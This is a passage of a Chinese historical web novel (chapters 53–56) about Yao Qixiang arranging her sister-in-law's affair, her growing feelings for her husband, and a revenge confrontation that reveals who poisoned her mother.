难不成是有了心仪之人?怕是在戏班有了什么新的相好吧? 今日姚戚香心情好,她对孙月瑶道:“若想一探究竟,咱们再去戏班子看看不就行了?” 孙月瑶有些犹豫:“这行吗?你不是说,不要我主动吗?我要是因为这短短几日的冷落,便这么巴巴追上去,那我也太不体面了……” “谁说了让你去看他的?”姚戚香道,“我们只是去看戏罢了,那戏班子开着,可不就是要看戏的?” 孙月瑶眸光微动,她是真的宛如害了相思一般,几日见不着李江,她是真会想的。 可她又谨记着姚戚香嘱咐她的话,万万不敢与李江亲近,万万不敢同他说出真话来,现在想想幸亏她没有,否则眼下找去戏班,该是一件多么尴尬的事。 姚戚香让茗玉去备马车,架着孙月瑶一步步往外走,一边走一边道:“嫂嫂只管跟着我去,咱们大大方方的,只是去看戏罢了,可不是去瞧他李江。” 她越是这样说,孙月瑶脸色便愈发红了,只能匆匆点着头,随姚戚香上了马车。 第53章 第53章 夫人,我服侍你 两人乘马车来到戏楼, 正是下午,戏楼里人最多的时候,姚戚香和孙月瑶到的时候, 台上正演着一出戏, 这出戏姚戚香见过名字,也知道个故事大概,是个挺没意思的痴男怨女的故事, 可不知怎的, 卖座居然是最高的。 她没看过,便正好拉着孙月瑶一块儿瞧。 “去二楼。”姚戚香让小二带路。 因没有提前打过招呼,二楼那个绝佳的位置已经被占了,两人坐在稍偏一些的地方, 虽然在戏台侧面, 但是离得也近。 两人坐在窗边,看了一会儿,算是知道这出戏为什么卖座高了,只因戏台上这两人,不论男女,模样都生得格外俊俏。 盛京多崇尚以柔为美, 比起李江这样孔武的男子, 像戏台上这种白面书生更受人喜爱,而今日在座的也是女子更多。 戏楼二楼的窗户都是开的, 就算是在下面,也能瞧见楼上的人在做什么。 这时, 姚戚香对孙月瑶道:“嫂嫂,不妨多看几眼他,最好还能露出笑意来。” “什么?”孙月瑶不明所以, 但还是忍不住多瞧了那男子几眼,她点头道,“他确实生得不错。” 顿了顿,孙月瑶讶然道:“难道,咱们要把人换成他?” “不不,当然不是!”姚戚香道,“这种事,多一个人知道,就多一份风险,不过,咱们来看戏的,对哪个演戏的有几分偏爱,不是清理之中吗?” 孙月瑶想了想,忽然明白了,她有些不好意思:“这样……行吗?会不会不太好?” “行不行的试试咱们就知道了,若他在意,他自己就会来找你,若他不在意,李江这边还是趁早断了的好。”姚戚香做事向来果断。 孙月瑶想,的确是这个道理,她如今想得的已经得着了,难道还真想与李江长久吗? 正如姚戚香所言,孙月瑶频频看向台上的男子,不时露出笑意,时不时与姚戚香交头接耳,议论一番,这一画面都无一例外地落入一双眼中。 他墨黑的眸子沉了沉,离开了奉茶的角落,端着一个茶盘上了二楼。 敲门声响起,姚戚香让人进来,走进来的人正是李江。 他今日穿着周正,不似那衣不蔽体的船夫模样了,人走进来的时候低垂着双目,也不似上回那样直勾勾盯着人看了。 姚戚香有意留他,见他将一个茶盘放在桌上,道:“我们并未叫茶。” 李江面色平静:“这是送的。” “哦……原来如此,你姐姐近日如何?我听说,这怀孕的女子很是辛苦。” 李江:“劳贵人记挂,姐姐无碍。” “那便好。”姚戚香看向楼下,这出戏也差不多要结束了,于是她指尖点了点戏台上那个俊俏的书生,道,“他叫什么名字?” 李江忽然掀了眸,只他看的却不是姚戚香,而是往孙月瑶的方向看了一眼。 “刘瑾。”李江道。 “啊呀,是吗?”姚戚香露出很惊喜的模样,看向孙月瑶,“嫂嫂,你还记得那相师同你说的话吗?他说今年你要多和名字里带玉的人相处,这样对你大有裨益。” 她这样突然一说,令孙月瑶有些怔然,不过她并没有表现出来,只是淡然地点了点头,喃喃道:“刘瑾是吗……” 这时,就听李江道:“他原名不叫这个,很不风雅,这是戏班主后给他改的。” 他短促地皱了下眉,目光不着痕迹又往孙月瑶身上扫了一眼。 “原来是这样。”孙月瑶又淡淡应了一声,实则心里已经在嘀咕了,这样行不行? “你可以下去了。”姚戚香对李江道。 李江的喉咙滚了一下,他转过身走了两步,然后又马上回过身,用极低的声音对孙月瑶道:“刘瑾他……男人也可以的,夫人不要动他的心思,他这个人……” 他又咽了下口水,沉沉吐出两字:“不洁。” 这下换孙月瑶怔愣了,她摇了摇头:“我并没有动他的心思。” 姚戚香在一旁静静的,一点声音都不出。 她只是在一边看着,看着李江那双手握紧了又松开,握了又握,还是一句话都没说出来,也不知他心里究竟在寻思什么。 “外面吵了些。”姚戚香忽而起身,关上了窗,一扇窗的阻挡,屋里并未安静多少,但是这屋子里的状况就谁也看不到了。 况且,李江一直站在里面,下面的人就算存心想看,也看不到他。 她这一关上窗,孙月瑶的神色明显紧张起来。 “我出去一趟。”姚戚香道。 “你去哪儿?”孙月瑶紧张地坐了起来。 “我就在这附近随便转转,嫂嫂在这儿等我吧,听说下场戏也好看,我去买些茶点,这戏楼里的茶也太次了些。” 说着,她转身出去,关上了门。 这下,屋子里便只剩下孙月瑶与李江了。 她浅浅呼吸着,率先别开了眼,随意望着别处。 见她这副样子,落在李江眼中便不是害羞,而是漠然。 他沉声开口:“夫人恼我了吗?” “……”孙月瑶还是那样冷清清地注视着他,即便心里翻江倒海,面上还是装得平静如水,“没有,我为何要恼你?” 李江的神色显然不自在起来,他在原地踱了两步,然后隔着一张桌子远远坐了下来,解释道:“我这些时日,一直在排新戏,抽不开身。” “我知道。”孙月瑶道,她现下却是真有些恼了,说来说去还是这点说辞,真是没什么意思,要么就痛痛快快告诉她是不是真有别人了,要么就不要来这里坐着,她突然不想再纠缠下去了。 于是孙月瑶起了身。 “罢了,我今日也乏了,便回去了。” 谁知她刚起身走了两步,李江便山一般挡在了她身前。 “不是说……下一场戏还要看吗?”李江拦住了她,不让她走,“夫人怎么急着要走?” “你是真傻不成?”孙月瑶没了耐心,“我那妹妹,不过借口让你我闲处片刻罢了,什么戏也不值当我一场接着一场的看。” 她推着李江,想叫他让开,然而李江却先她一步握住了她的手腕。 “我不傻……”他道,说完又重复,“我不傻。” “我当然知道……”他说着,却一把将孙月瑶抱起,惹得孙月瑶惊呼了一声。 “你干什么?”孙月瑶急急拍打着他,这里是什么地方,若是李江乱来,被人冲进来撞见了,那她的名声可就…… “我什么也不做,夫人放心,我不乱来。”李江道,他这样说着,却是将孙月瑶抱到了里面的那张榻上,炙热的身子也压了过来。 孙月瑶如临大敌,她当然不会在这里行事!李江拿她当什么了! 然而下一刻,李江却在她面前跪了下来,他那双黑色的眼珠像是能沁出水,用含混的声音道:“我来服侍夫人。” 他低头,俯身,潜进了孙月瑶的裙底。 孙月瑶怔住了,她羞得连话都说不出,只伸了一只手去推他,推了半天见他不动,孙月瑶才低斥道:“你这是做什么?” 李江没有回答,他凑了上去,慢慢含住,孙月瑶便一点声音都不敢出了,搭在床沿的细白的手徒然抓紧。 …… 姚戚香是半个时辰后才回来的,离开前,她让红绡守在周围,不要让任何人进去。 等她要进的时候,她故意喊了一声:“嫂嫂!” 听着门里似乎没什么动静,才推门而入。 孙月瑶就坐在窗边,坐在刚刚那个位置,只不过此刻面上是掩不住的春色。 “李江走了?”姚戚香道。 孙月瑶还是止不住脸红了个彻底:“走了。” 姚戚香笑起来:“好啊,那我们也走吧。” 两人这才离开戏楼,在马车上,姚戚香递给孙月瑶一张纸,她道:“这是第二出戏的内容,你看一看,也好有些印象。” 孙月瑶知道,这是以防万一孟极那厮问起来,她也好有话应付。 想到孟极,孙月瑶原本高兴的心情就沉了沉。 “阿香。”她道,“有没有什么法子,能让我永不再与孟极同床?” “永不?”姚戚香惊讶。 孙月瑶顿了顿,觉得这好似也不大现实,于是改口:“尽可能少些。” 姚戚香想了想,道:“倒也容易,他近日与芸香如何?” 孙月瑶摇了摇头:“我不知,自打上回他搬去与芸香住后,再没回来过,应该是还不错的。” “那好,那你就再寻由头,往他房里再塞两房妾室,男人的精力也就那么点,折腾了别人,也就无人折腾得了你了。”姚戚香道。 孙月瑶眼神一亮,随后又道:“我上哪里去找人呢?” “有的是。”姚戚香道,“孟极再不济,也是孟家的人,有的是想要攀高枝,争富贵的。只不过嫂嫂,你可要想好了,你需不需要先生下一个孩子巩固自己的地位,孟极宠爱别人时,你是不是真的一点也不介意。” 这后面的问题,孙月瑶是已经能肯定了,她现在别说介意,高兴都来不及。 可前面的问题,她确实要好好想想,若是无子,她就算能过得快活,万一哪天孟极犯了浑,以无所出的理由将她休了该如何是好? 而且她与李江也无法长久,她难道要为眼下的快活,放弃了长远的利益吗? “好妹妹,你说得是,我是该生下一个孩子。”她眉宇间凝出愁绪,“可是,我与孟极成亲这么久了,肚子也不见有消息,怎么办呢?” 姚戚香:“瞧过大夫了吗?” “去年瞧了,大夫说我好着呢,让我别急,再等等,这么久过去了,也还是没消息。”孙月瑶道。 “这件事本就急不得。”姚戚香道,“以后再说吧,李江这人,长的不说,一年的时间还是顶用的。” 第54章 第54章 我只和你做夫妻 孟元德一死, 云栖堂那边就得准备丧事了,而且又入了夏,尸体停放不得, 须得赶紧办了才是。 儿子一死, 不论是常秋兰还是孟祁柏,都宛如被抽了魂一般,几日功夫头发都白了许多, 但还得强打起精神来, 操办儿子的丧事。 姚戚香而今掌管内务,自然也要跟着一并操办,她帮着常氏待客,帮着常氏装点灵堂, 帮着常氏给来访之人回礼。 说实话, 除了孟祁柏在朝中的几个门生,没人来吊唁孟元德,一个因谋逆罪廷杖致死的人,谁不要命了过来吊唁?再者就是都知道常氏膝下无子,今后算是没落了,人们自然都躲得远远的, 谁想在这个时候烧冷灶。 所以, 孟元德的丧事办得很是冷清,后面几日就只有孟家自己人来看过, 而由于孟元德平日眼高于顶,家里的族兄族弟他每一个放在眼里的, 就算是来吊唁的,面上也淡淡的,甚至有人多了那么几分幸灾乐祸的味道。 而姚戚香则是趁着云栖堂办丧事的空挡, 将府中下人的底细全都摸了一遍,还在孟元德的丧事上出钱出力,虽然冷清,但也给办得体体面面,为的就是她新官上任,给下人们留下一个好印象,至于后面,要赶什么人走,要留什么人,都需要从长计议。 丧事期间,姚戚香在孟家一连待了好几日,丧事一过,她便迫不及待出府转转了,刚好黄琬和邓卓发来了拜帖,说要就孟元德一事,好好谢谢她,三人约在了茶楼,点了几个风雅小菜,准备好好闲话一阵。 “这次的事,还是要多谢香姐姐。”黄琬由衷谢她,若不是姚戚香定下此事,黄琬自己根本没这个胆量,还不知道要被孟元德拿清白二字拿捏多久呢。 一旦嫁给孟元德,她这辈子怕是完了。 “无妨。”姚戚香道,“我也有我的考量,也得着了我想要的,咱们这一回是互帮互助,谁也不欠谁的。” 她话是这么说了,邓卓却摇摇头:“要谢的,话虽如此,可你那是蝇头小利,于我们姐妹二人却是如蒙大赦,怎么能一样?” 姚戚香心想,她拿到了管家之权,也不算是蝇头小利,可跟性命和终身幸福相比,那的确还是不够比的。 二人说谢也不是空口言谢,黄琬送了姚戚香一盒上好的珍珠,邓卓则是送了她一张上好的狐狸皮,说是到了冬天可以做个披风,围脖什么的。 姚戚香没有推辞,都收下了,后面便只是闲话。 “我家里又在给我相看婚事了,说好不容易把孟元德的事避过去,可得赶紧定下亲事才行,否则万一又遇上什么事,真是经不起了。”黄琬一脸愁容。 姚戚香好奇:“怎么?你不想嫁?” “我这妹妹啊,从小是家里骄纵惯了的。”邓卓道,“她知道但凡去人家家里做媳妇的,肯定要低人一头,她哪里情愿?成天在家吵着不肯嫁呢!” “就是不肯!就是不肯!”黄琬道,“我可真是不明白,凭什么女子生来非得要嫁人呢?分明我家里也养得起我,为什么女子不嫁人,便是不好?便是要给家族蒙羞了?我看那男人三十好几不成家的,不是大有人在吗!” 话虽如此,却也不假,姚戚香也不禁想,明知嫁了人会不好,明知是去寄人篱下,是要看人眼色过日子的,为什么还一个个都想嫁呢? 说起成亲,最热衷于此的不是那些男儿,反倒是女子。 她自己,是因为姚家不好,而今嫁到孟家,的确是比姚家好了,所以姚戚香从未想过这个问题。可就算是她眼下过得比在姚家好,那她心里也是要盘算,要惦记的,她也不敢真的得罪了孟扶危,做什么事,都要顾忌着他一些。 可姚戚香已经觉得自己这样的婚事,很如意了,那还有那些不如意的,明知不如意,为什么一个个都盼着嫁人呢? 想来想去,无非就是两点,其一,娘家待女儿如外人,想着横竖早晚要嫁出去成婆家人,何故精心照料?女儿在自己家中得不到爱护,便渴望从自己夫君那里得到。 其二,女子一生,无非生儿育女,这天底下并没有给女子第二条路走。黄琬说得不错,男子三十好几不成亲,没有人会说什么,可男子也并非独善其身,青楼照样是去的,通房照样是收的,只不过明面上的正妻,他们要娶一个能帮扶自己的,体面一些的罢了。 “你若不想嫁,可以,有的是办法。”姚戚香道。 黄琬忙问:“什么法子?” 姚戚香道:“孟元德不是刚死吗?你与他素有婚约,你咬死了对孟元德一见钟情,此生非他不嫁,孟元德一死,你痛不欲生,无论如何都要过来给孟元德守活寡,嫁到孟府来,没有夫君,不就算不嫁了?” “我要是这样,我家里肯定不会同意的!”黄琬道。 “管他们做什么?你率先将此事闹得人尽皆知,黄家也没有办法的。”姚戚香笑,“而且,我那婆母要是知道你对她儿子竟有此心,想必绝不会亏待了你。” 姚戚香开着玩笑,可很快她发现,黄琬似乎当真了。 她神色严肃,似乎真的在考虑这件事的可能性。 姚戚香与邓卓对视一眼,禁不住道:“我说,你不会当真了吧?” “我不能当真吗?”黄琬道,“我觉得香姐姐这个法子真是好极了!真要是如此,那岂不是盛京人人都要觉得我痴情了!” 姚戚香咋舌,她可不想再多一个偷汉子的妯娌了,遮掩起来太麻烦了。 于是姚戚香忙道:“你还年轻,不着急,不如先跟着家里看看,万一看上个对眼的呢?这可是一辈子的事,你可不能头脑发热,要思虑周全了才是。” 被她这么一劝,黄琬觉得也对,她也不急于这一时,不如先听家里的相看着,实在不成,她再如此偏激行事,就算真嫁到了孟府,有香姐姐在,她日子过得不照样痛快? 姚戚香和邓卓都不敢再继续这个话题了,忙又说起别的,说到尽兴,三人才各自回了家。 回到孟府,孟扶危也在,姚戚香忍不住同他说了今日与黄琬开的玩笑,道:“她竟真的考虑起来了。” “说起来,云栖堂也有了件趣事。”孟扶危听完,慢条斯理地道。 “什么趣事?云栖堂这几日死气沉沉,还能有趣事发生?”姚戚香一边擦脸,一边朝他望了过去。 孟扶危:“我爹,似乎准备纳妾。” 短短几个字,听得姚戚香喉间一哽:“啊?” 她脑子里产生的第一个想法便是,这些老东西都怎么了?一个两个的,眼看着土都埋到半山腰了,竟然还个个都纳起妾来了。 真有那么老当益壮吗? 姚戚香不禁回忆起,她前段时日为了逃避晨昏定省,给她那公爹偷偷下药的事,而第二天一早,常氏还真的起不来,那可不就是老当益壮了? 这种编排的话,姚戚香还真不好意思跟孟扶危说,只问他:“你怎么知道的?此事确定了吗?他纳妾,不会是也想再要一个儿子吧?” 孟扶危垂眸:“大致确定了,似乎已经说定了人家,是孟家田庄里佃户家的女儿。” 说得有鼻子有眼的,这事八成是真定了。 姚戚香简直叹为观止,她好奇:“那婆母是什么反应?” “不清楚,我并未探问她的动向。”孟扶危老实回答。 想来也是,孟元德一死,常氏在孟家便宛如没了根基,轻飘飘的一个,很难再掀起什么风浪了,除非她不顾脸面,连娘家也不顾了,发起疯来要害人。 不过孟元德这件事怎么看都是他咎由自取,常氏也恨不上别人。 “府上的事,你不必担心,下人我会亲自清理一遍。”孟扶危跟她说着话,从桌边起身,慢慢走了过来。 他那双墨色的眼睛停留在她身上,便再也不移开了。 姚戚香被他这么直勾勾看着,有些发毛,可她毕竟跟孟扶危已经做了这么些时日的夫妻了,孟扶危想做什么,她看一眼便明白了。 “哦……”姚戚香目光乱晃着,“我知道了。” 他弯下身,款款靠近,坐在了她身边,然后却没有了下一步的动作。 半晌,姚戚香听见他问:“我说不和离的话,你信了吗?” 姚戚香顿了顿,这话她原本是不信的,她原本一直想着,以后跟孟扶危和离了,她究竟要做什么,可是在得知孟扶危竟是一门心思娶了她之后,她又不得不信了。 就说,寻常夫妻,能如这般的也少。 她与孟扶危之间的羁绊,比她以为的要深得多。 寻常夫妻,能够这样就算不错,况且她能看得出,孟扶危是个好人,与他做夫妻,她能少很多事,也能多得很多从前不容易得的好处。 “信了。”姚戚香回答。 “嗯。”他应了一声,但对姚戚香的反应似乎不大满意,因为姚戚香又听见他轻轻叹了一声。 而后,他俯身吻了过来,很轻的一个吻,吻在姚戚香额角,如此简单的触碰,却叫姚戚香心颤。 他说:“姚戚香,我永远只和你做夫妻。” 第55章 第55章 她也感到心动 孟扶危并没有进行下一步的意思, 他只是在吻她,很专注地吻她,从她的额际到鼻尖, 再到脸颊, 最后是唇边,他一直都没有下一步的动作,就只是这样仿若很珍爱地吻着她。 姚戚香心中忽而阵阵升起一种奇怪的感觉, 她心尖发麻, 胸腔中的那颗心控制不住地颤动着,她心中知晓,她多半是……对孟扶危动了情。 很难不去喜欢他,姚戚香在嫁来孟府的这短短数月中, 体会到了很多她从前在姚府从未得到过的东西。 比如悄无声息的好, 堂而皇之的偏爱,千味楼遇见刺客,孟扶危率先将她推出了危险之地,得知她要做的事有可能会危害到孟家,他也只是远远瞧着,从不插手。 她少什么, 他就给她什么, 姚戚香不是傻子,在她得知了真相之后, 很多事再往回思量,就变得很清楚。 为了让她用起来放心, 孟扶危绕着弯子把红绡给她。为了让她以后生活得更好,为了弥补这些年在姚府学识的不足,他让钟嬷嬷来教她东西。 甚至一些微不足道的小事, 之前她每次从常氏那儿请完安用不了饭回来的时候,松风堂这边就会上一模一样的菜给她。 她爱吃的菜就会多上,松风堂这边除却那一次,就再也没有上过凉菜冷菜。 孟扶危为何厌恶姚家,她也懂了,因为她在姚家受了苛待…… 其实这些东西,很多东西,她在自己母亲那里都没有得到过。 姚戚香的亲娘,其实是个很懦弱的女人,懦弱到自己的丈夫领着一个大着肚子的女人回来,她一言不发,却在私底下掉眼泪。 懦弱到小时候,姚成碧抢她的东西,娘会让她忍让。 懦弱到一个正妻在家要受妾室的委屈,连带她也过得不顺畅。 以前她从觉得,是她的娘母家没有势力,所以她不敢。 可邓穗音为什么敢呢?邓穗音一个什么都没有的妾,到最后都会为了儿子去敲登闻鼓,去下了姚振廷的脸面,去和所有人撕破脸,可她的母亲一直没有。 一直这样退避着,可又落得了什么好下场呢?邓穗音欺她软弱,趁她病虚的时候给她灌了碗猛药,药力相冲,人就这么没了。 这样简单的局,连姚戚香一个孩子都看懂了,可姚振廷漠视不理。 她的母亲隐忍了一辈子,什么都没有得到,简直就像高座庙堂的泥菩萨,分明自己一身的苦,一身的累,却还要割肉以身饲虎。 姚戚香不明白,更不理解,所以她性子偏激,她可以什么都不要,只要姚家的人全都去死。 才死了一个姚太初,邓穗音也好,姚振廷也罢,还有那个一味装死不理事的祖母,这些人凭什么都活着? 姚戚香也是嫁给了孟扶危才知,原来这世上竟有人在她连口都没开的情况下,就把她想要的东西都送上来。 因为差距太过了,姚戚香有时便会忍不住心生怀疑,孟扶危做这一切是不是有目的的?她怎么值得这样的好? 就算知道孟扶危与她早就相识,就算知道孟扶危喜欢她,可姚戚香的这颗心也落不到地上,她习惯了提心吊胆,习惯了谁也不靠,一个人走。 眼下,她连回吻孟扶危都做不到,即便她自己也心动,可脑中却还是像绷着一根线,像是随时要断了。 “我没有在逼你。”孟扶危的声音在她耳畔响起,“我只是告诉你,现在,以后,我都会是你夫君,我跟你保证,绝不会算计你。” 姚戚香放轻了呼吸,孟扶危抱着她,她便轻轻点了点头。 “你没有什么想跟我说的?”孟扶危挑眉,她在别人面前小嘴叭叭能说个不停,怎么在他这儿反倒沉默寡言起来? 姚戚香想了半天,忽道:“那次……你用鱼鳔干什么?” 这下轮到孟扶危沉默了,他有些好笑,怎么这会儿想起来问这个。 孟扶危道,“避子用的。” 姚戚香“哦”了一声。 片刻,孟扶危怕她多想,又道:“眼下时局不好,不宜有孕。” 姚戚香点点头:“我知道。” 这正合她的意,她就没有想过要生孩子的事,但是因为与孟扶危房事并不频繁,且有几次还是孟扶危根本没用自己的……所以,姚戚香就没琢磨要避孕的事。 如此想来,孟扶危倒比她要谨慎多了。 “……明日,你做什么?”孟扶危不经意问道。 “我去一趟姚家。”姚戚香早有打算,自打邓穗音敲登闻鼓为儿子鸣冤起,已有半个月过去了,她了解姚振廷,邓氏此举无异于断了他的青云路,邓穗音定会过得生不如死。 孟扶危双眸黯然几分,他道:“让茗玉和红绡都跟着,若人手不够,云韬也带去吧。” 姚戚香笑道:“光天化日之下,他们还能吃了我不成?我好歹也是孟家的媳妇,我爹胆子再大,也不会把我怎么样的。” “嗯,睡吧。”孟扶危道。 他心下有些遗憾,明日是他的生辰,他特地休沐在家,本想随她一起去外面转转的,等之后成王打过来,京中怕是要乱一阵子,也不知什么时候才能有这个机会了。 翌日,姚戚香起时孟扶危已经不在了,多半是去上朝再去东宫,她起身梳妆,准备去姚家。 “红绡,让你带的药你带上了吗?” “嗯。”红绡应了一声,“早就准备好了。” 姚戚香穿了她回门时,穿着的那件照母亲仿制的故衣,今日是她和邓穗音了断的日子。 驱车至姚家,姚戚香下车时并无人来迎接,姚振廷怕是自知搭不上孟家这条路了,索性直接不闻不问。 姚戚香也不在乎,她直接去了邓氏房中,正要拜见,却被几个家丁拦在了外面。 “主母病重,恕不待客。”家丁冷硬地说着,早已忘了姚戚香也是这个家中的一份子。 姚戚香不与他们白费口舌,而是直接道:“茗玉,红绡。” 二人应声而上,极好的身手瞬间拿下几人,前方开了路,姚戚香走了进去。 邓穗音的房间,竟然上着锁。 姚戚香笑笑,扣了扣门,站在门外道:“母亲,我来看你了。” 屋里传来摔东西的声音,一个尖厉的声音道:“滚!我不是跟你说了吗?你我母女情分已经尽了!不要再来见我!” 姚戚香顿了顿,随即反应过来邓穗音怕是将她当做姚成碧了,居然连她和姚成碧的声音都分辨不出了吗? 红绡从家丁身上摸来了钥匙交给姚戚香,姚戚香开了锁,跟着便闻到一股酸味。 她有些不可置信,纵然邓穗音犯了姚振廷以为的大错,可她好歹也是姚家主母,姚振廷竟然就这么关着她,连梳洗的东西都没给。 炎炎夏日,屋子里的味道不算难闻,但也有些不雅。 姚戚香站在门口,看着蓬头垢面的邓穗音,发现她身上穿的居然仍是鸣冤那日的衣服。 “看来,姚振廷待你不好啊。”姚戚香笑着说。 她就站在日头底下,站在邓穗音多少日不曾见到的阳光里,面上的表情却是十足的讥诮讽刺。 “你当初费尽心机往姚家挤,盯着我母亲的位子,如今可如愿了吗?”姚戚香问。 邓穗音恍惚了一阵,她盯着姚戚香大半天,突然冲了过来,姚戚香下意识后退半步,红绡也拦在了她身前。 可邓穗音并没有把她怎么样,而是一下子跪在了姚戚香面前。 “我求求你!我求求你姚戚香!你救救成碧吧!她还是个孩子她什么错都没有啊!她没有得罪你!我求你了,你救救她,否则姚振廷定然会拿她的婚事去做交易,她这辈子就毁了!” 姚戚香看着邓穗音跪地磕头,向她磕头,向她求饶,这一刻终于来临,她终于如愿看着邓穗音脸都不要了跪在这里求她,可她心里却一点也高兴不起来。 她不知道为什么自己无法高兴起来,她马上就要报母亲的仇了,她应该很高兴的。 “没有得罪过我?”姚戚香凉声道,“那当年,是何人抢我东西?我的首饰,我的玩具,我的裙子,这些都是不打紧的东西,她却非要来抢,你还说她没得罪我?” “不是的!不是的!”邓穗音眼睛都红了,“她那时候小,还不懂事,都是我……都是我教唆她的,是我叫她去抢你的东西,去为难你……后来成碧懂事了,她就不听我的了。她心不坏的……” “是吗?”姚戚香惊讶不已,“你和姚振廷这样的东西,还能教出好心肠来?” 姚戚香倚在门边,她面上笑意盈盈,嘴上极尽讽刺,可真到了这一步,她发觉自己心里平静极了。 此时此刻,她甚至开始忍不住想,邓穗音纵然该死,可她为人母这一点,没有什么可以指摘的。 “姚戚香!我知道这些年我对不住你!我做了很多错事,很多蠢事,可我也是从你出嫁后,从我儿子死了后,才看清楚一些事,我……” “别说了。”姚戚香踢开她的手,“你碰我,我都嫌恶心。” 她伸了手,红绡便把药递给她,姚戚香将那药放到邓氏面前,道:“我可不与你弯弯绕,明白告诉你,这里面是鸩毒,看你心中还记挂着你女儿,不如你的命和姚成碧的命,你选一个留下,如何?” 邓穗音恍然地看着那瓶毒药,恍然地伸手去拿,握紧又松开,她似乎准备喝下去,但又没有勇气。 姚戚香正要嘲讽一声她不过如此,突然又听见邓穗音决然道:“不行!我要活,我还有成碧,没了我,她一个孤女要如何活下去?” 姚戚香冷冷:“可我今日就是来要你死的。” 谁知,邓穗音摇了摇头,也露出一抹凄然的笑来:“不,你不会。” “我凭什么不会?” 邓穗音:“因为,我知道害死你母亲的人,究竟是谁。” 第56章 第56章 当年的真相 邓穗音的话宛如当头一棒, 让姚戚香禁不住懵了一下。 “你说什么?”姚戚香眯了眯眼,“害死我母亲的人,竟不是你?” 邓穗音一愣, 片刻后她低低笑起来:“原来如此……原来如此啊, 原来一直以来,你都是这样认为的。姚戚香,我自然厌恶你, 你不是我生的, 我当然厌恶你。” “可你母亲的死。”她摇了摇头,“与我无关。” “与你无关?你觉得我会信你?当年的事我一清二楚,是你命人将那碗药端给我娘的。”姚戚香冷道,“你休要狡辩, 今日无论如何, 我都会让你死。” 说罢,姚戚香眼神示意红绡,让红绡去给邓穗音灌药。 “不是我!!!”邓穗音尖叫一声,剧烈挣扎着,终于不再卖关子了,而是飞快道, “当年, 我有心害你母亲,可我还什么都没做, 你知道吗?我原本的计划是,姚振廷多年无子, 就算我大着肚子入府,率先生下的也是成碧这个女儿,我便想买通相师, 让相师说是因为叶氏克他,才叫姚振廷无子。” “谁知,那日我还连相师的面都未见着,就见他与姚振廷已在谈论了,我暗叫不好,以为此计成不了了,谁知暗中听见那相师说,你母亲命中带煞,防了姚振廷的运气,说若不休妻,此生升迁无望,还说就算休妻……命里也少有财禄。” “当时听完我便高兴,以为叶氏必被休弃无疑,谁知叶氏却先病了……”邓穗音越说面色越沉,她摇了摇头,“起初,我并未将叶氏生的这一场病,与姚振廷联系在一起,我听了那相师的话,加之叶氏又病了,我便觉得姚振廷必会休妻,便没再把精力放在叶氏身上,转而去求生子的偏方了……” “直到有一天,姚振廷一反常态地在我面前念叨起你母亲,他口口声声说,他与叶氏夫妻多年,若是叶氏一病不起可如何是好,还说若此次叶氏病愈,他要对她好些……我当时觉得奇怪,姚振廷从不在我面前提及叶氏,因他知晓我醋劲大,听了必要闹的,但那回,我觉得他神色语气都很古怪,就像是……刻意为之一般。” “然后呢?”姚戚香问,她原以为,邓穗音编出一通话来想要诓她,可见邓氏神色不似作假,且说得分外详细,姚戚香一颗心也一沉再沉。 “然后,他像是不经意对我发问,问我说,女子若食红花,是否会不孕?我那时不过是一个低门争进来的小妾,哪里懂得这些,便摇了摇头,随后便听姚振廷说,叶氏在病中,若此时在她药中加上一味红花,势必会终身不孕。我当时觉得奇怪极了,姚振廷这句话,分明是在向我暗示,可我竟有些不懂他的暗示。” 姚戚香:“你不懂,是因为姚振廷分明要休妻,为何还要费尽心机让我娘不孕?” 邓穗音点了点头:“妇人三年无所出才可被休弃,可叶氏已经生了你,这一条对她并不适用。我到底怕叶氏真的病好,姚振廷一心软真留下了她,便真的在她药中加了味红花,亲吩咐人给她喝下,当晚,叶氏便暴毙了。” 姚戚香目光一震,随后又听邓穗音道:“我惶恐非常,还以为是姚振廷设局陷害我,可叶氏死后,他哀痛了几日,什么责问也没有,便将叶氏葬了。我事后反复回想起,仍觉蹊跷,便找出那日的药渣一味一味拿去药铺比对,过了半年我才查出来,什么红花,红花除非女子有孕,否则便不过是味寻常草药而已,我那味红花,对叶氏根本什么用都没有,真正有用的,是姚振廷在里面又多加了一味甘遂。” 姚戚香指尖微颤,她事后查过,自然知晓她母亲的药中,还有一味甘草,甘遂甘草药性大冲,若是康健之人,可能还留有命在,可她母亲当时已经病了多日,身子亏空了。 “你说的这些,你可敢用姚成碧起誓吗?”姚戚香问,其实,她已然信了。 “我敢。”邓穗音目光沉沉,“若这些话,有一句虚言,我女儿姚成碧便不得善终,终身无子,你可满意吗?” 姚戚香轻笑了一声,她发现自己这么多年以为的一件事,其中竟然还暗藏玄机。 她恨邓穗音,要邓穗音死,是因为邓穗音害死她的母亲。 她恨姚振廷,要姚振廷死,是因为姚振廷冷眼旁观了。 可现在,真正害死她母亲的居然成了姚振廷,与邓氏无关了。 “今日之事,我会再查证清楚,倘若叫我发现你骗我,一切我都让姚成碧来替你承担。” 邓穗音听见这话的时候没什么反应,一副任她去查的样子。 事实上这件事过去这么多年了,姚戚香根本无从查证,若真要查只怕是费时费力,大动干戈一场。 倒不如,她直接去问姚振廷来得方便。 姚戚香漠然着神色,转身就往姚振廷那边闯,红绡一把拦住了她的去路:“你干什么?” 姚戚香奇怪:“你没听到吗?我自然是去报仇。” 红绡摇了摇头:“不可,邓穗音,你可以杀,但姚振廷还不能。” “什么?”姚戚香皱眉,“你凭什么拦我?” “我为主人做事,这是主人的吩咐,我必须拦你。”红绡不由分说,直接钳住了姚戚香的手,跟茗玉使了个眼色道,“走。” “你干什么!我姚戚香做的事,跟他孟扶危有什么关系!”姚戚香奋力挣扎着,可她哪儿能敌得过红绡的力气。 茗玉看不过去,在一旁道:“娘子,邓氏死了,公子还好替你遮掩,可姚振廷是五品京官,他若横死,可不是小事。” “我说了,我做的事我自会认下,绝不连累他孟扶危!”姚戚香眼泛红光,她恨不得现在,就立马冲过去,手刃了姚振廷。 两人眼见劝不住,正打算用强将人绑上马车,然而下一瞬,马车的帘子从内掀开,露出一双平静的眼,他看着姚戚香,道:“先上来。” 孟扶危怎么会在这儿? 姚戚香深吸了口气,只能先去了马车里。 一上车,她便道:“我查到我娘真正的死因了,姚振廷我非杀不可。” 孟扶危问她:“你知道刺杀京官,是什么样的罪名,又会如何处刑吗?更何况,他还是你的父亲。” “我不在乎!”姚戚香冷漠道,“我也没什么可失去的。” 孟扶危望着她,沉默了好半天,道:“我有。” 孟扶危有什么?她杀姚振廷跟孟扶危有什么关系!? 